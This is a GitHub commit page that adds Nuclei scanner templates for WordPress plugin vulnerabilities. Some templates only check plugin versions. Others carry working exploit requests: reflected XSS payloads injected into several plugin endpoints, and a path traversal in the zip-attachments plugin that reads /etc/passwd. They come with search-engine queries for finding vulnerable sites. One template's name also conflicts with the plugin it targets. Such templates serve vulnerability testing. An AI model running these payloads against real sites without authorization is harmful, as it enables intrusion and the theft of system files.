20241128

adysec · Nov 28, 2024 · fee556f · fee556f
1 parent 6100788
commit fee556f
Show file tree

Hide file tree

Showing 273 changed files with 15,698 additions and 1 deletion.
diff --git a/date.txt b/date.txt
@@ -1 +1 @@
-20241127
+20241128
diff --git a/poc.txt b/poc.txt
diff --git a/poc/auth/login-with-vipps-dc6ed8321a84e0f36f46900ccd01a1f6.yaml b/poc/auth/login-with-vipps-dc6ed8321a84e0f36f46900ccd01a1f6.yaml
@@ -0,0 +1,59 @@
+id: login-with-vipps-dc6ed8321a84e0f36f46900ccd01a1f6
+
+info:
+  name: >
+    Login with Vipps and MobilePay <= 1.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting
+  author: topscoder
+  severity: low
+  description: >
+    
+  reference:
+    - https://github.com/topscoder/nuclei-wordfence-cve
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/d015e6ce-641c-4d68-b42b-03c039e973bd?source=api-scan
+  classification:
+    cvss-metrics: 
+    cvss-score: 
+    cve-id: 
+  metadata:
+    fofa-query: "wp-content/plugins/login-with-vipps/"
+    google-query: inurl:"/wp-content/plugins/login-with-vipps/"
+    shodan-query: 'vuln:'
+  tags: cve,wordpress,wp-plugin,login-with-vipps,low
+
+http:
+  - method: GET
+    redirects: true
+    max-redirects: 3
+    path:
+      - "{{BaseURL}}/wp-content/plugins/login-with-vipps/readme.txt"
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "login-with-vipps"
+        part: body
+
+      - type: dsl
+        dsl:
+          - compare_versions(version, '<= 1.3.3')
diff --git a/poc/aws/CVE-2024-10665-6660b4c6817d128fec20e2a4290b2931.yaml b/poc/aws/CVE-2024-10665-6660b4c6817d128fec20e2a4290b2931.yaml
@@ -0,0 +1,59 @@
+id: CVE-2024-10665-6660b4c6817d128fec20e2a4290b2931
+
+info:
+  name: >
+    Yaad Sarig Payment Gateway For WC <= 2.2.4 - Missing Authorization to Authenticated (Subscriber+) Log Read/Deletion
+  author: topscoder
+  severity: low
+  description: >
+    The Yaad Sarig Payment Gateway For WC plugin for WordPress is vulnerable to unauthorized modification & access of data due to a missing capability check on the yaadpay_view_log_callback() and yaadpay_delete_log_callback() functions in all versions up to, and including, 2.2.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to view and delete logs.
+  reference:
+    - https://github.com/topscoder/nuclei-wordfence-cve
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/10409673-43dc-4c05-a996-120d753ebd6d?source=api-prod
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2024-10665
+  metadata:
+    fofa-query: "wp-content/plugins/yaad-sarig-payment-gateway-for-wc/"
+    google-query: inurl:"/wp-content/plugins/yaad-sarig-payment-gateway-for-wc/"
+    shodan-query: 'vuln:CVE-2024-10665'
+  tags: cve,wordpress,wp-plugin,yaad-sarig-payment-gateway-for-wc,low
+
+http:
+  - method: GET
+    redirects: true
+    max-redirects: 3
+    path:
+      - "{{BaseURL}}/wp-content/plugins/yaad-sarig-payment-gateway-for-wc/readme.txt"
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "yaad-sarig-payment-gateway-for-wc"
+        part: body
+
+      - type: dsl
+        dsl:
+          - compare_versions(version, '<= 2.2.4')
diff --git a/poc/config/wp-ispconfig3.yaml b/poc/config/wp-ispconfig3.yaml
@@ -0,0 +1,59 @@
+id: wp-ispconfig3
+
+info:
+  name: >
+    WP-ISPConfig 3 <= 1.5.6 - Cross-Site Request Forgery to Stored Cross-Site Scripting
+  author: topscoder
+  severity: medium
+  description: >
+    
+  reference:
+    - https://github.com/topscoder/nuclei-wordfence-cve
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5b2813d6-6ef5-4629-b079-bec3ad25d661?source=api-scan
+  classification:
+    cvss-metrics: 
+    cvss-score: 
+    cve-id: 
+  metadata:
+    fofa-query: "wp-content/plugins/wp-ispconfig3/"
+    google-query: inurl:"/wp-content/plugins/wp-ispconfig3/"
+    shodan-query: 'vuln:'
+  tags: cve,wordpress,wp-plugin,wp-ispconfig3,medium
+
+http:
+  - method: GET
+    redirects: true
+    max-redirects: 3
+    path:
+      - "{{BaseURL}}/wp-content/plugins/wp-ispconfig3/readme.txt"
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - "(?mi)Stable tag: ([0-9.]+)"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "wp-ispconfig3"
+        part: body
+
+      - type: dsl
+        dsl:
+          - compare_versions(version, '<= 1.5.6')
diff --git a/poc/cve/CVE-2011-4624-2074.yaml b/poc/cve/CVE-2011-4624-2074.yaml
@@ -0,0 +1,30 @@
+id: CVE-2011-4624
+
+info:
+  name: GRAND FlAGallery 1.57 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in facebook.php in the GRAND FlAGallery plugin (flash-album-gallery) before 1.57 for WordPress allows remote attackers to inject arbitrary web script or HTML via the i parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2011-4624
+
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/flash-album-gallery/facebook.php?i=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
diff --git a/poc/cve/CVE-2013-4117-2260.yaml b/poc/cve/CVE-2013-4117-2260.yaml
@@ -0,0 +1,30 @@
+id: CVE-2013-4117
+
+info:
+  name: WordPress Plugin Category Grid View Gallery 2.3.1 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in includes/CatGridPost.php in the Category Grid View Gallery plugin 2.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ID parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2013-4117
+
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
diff --git a/poc/cve/CVE-2015-4694-2547.yaml b/poc/cve/CVE-2015-4694-2547.yaml
@@ -0,0 +1,30 @@
+id: CVE-2015-4694
+
+info:
+  name: Zip Attachments <= 1.1.4 - Arbitrary File Download
+  author: 0x_Akoko
+  severity: high
+  description: The zip-attachments plugin allows arbitrary file downloads because it does not check the download path of the requested file.
+  reference: https://wpscan.com/vulnerability/8047
+  tags: lfi,wordpress,cve,cve2015,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
+    cvss-score: 8.60
+    cve-id: CVE-2015-4694
+    cwe-id: CWE-22
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd'
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
diff --git a/poc/cve/CVE-2016-1000126-2643.yaml b/poc/cve/CVE-2016-1000126-2643.yaml
@@ -0,0 +1,30 @@
+id: CVE-2016-1000126
+info:
+  name: Admin Font Editor <= 1.8 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000126
+  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000126
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin admin-font-editor v1.8"
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/admin-font-editor/css.php?size=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+      - type: word
+        part: header
+        words:
+          - text/html
+      - type: status
+        status:
+          - 200
diff --git a/poc/cve/CVE-2016-1000131-2665.yaml b/poc/cve/CVE-2016-1000131-2665.yaml
@@ -0,0 +1,35 @@
+id: CVE-2016-1000131
+
+info:
+  name: e-search <= 1.0 - Reflected Cross-Site Scripting (XSS) via title_az.php
+  author: daffainfo
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000131
+  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000131
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin e-search v1.0"
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
diff --git a/poc/cve/CVE-2016-1000138-2694.yaml b/poc/cve/CVE-2016-1000138-2694.yaml
@@ -0,0 +1,35 @@
+id: CVE-2016-1000138
+
+info:
+  name: Admin Font Editor <= 1.8 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  reference: http://www.vapidlabs.com/wp/wp_advisory.php?v=38
+  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000138
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin indexisto v1.0.5"
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200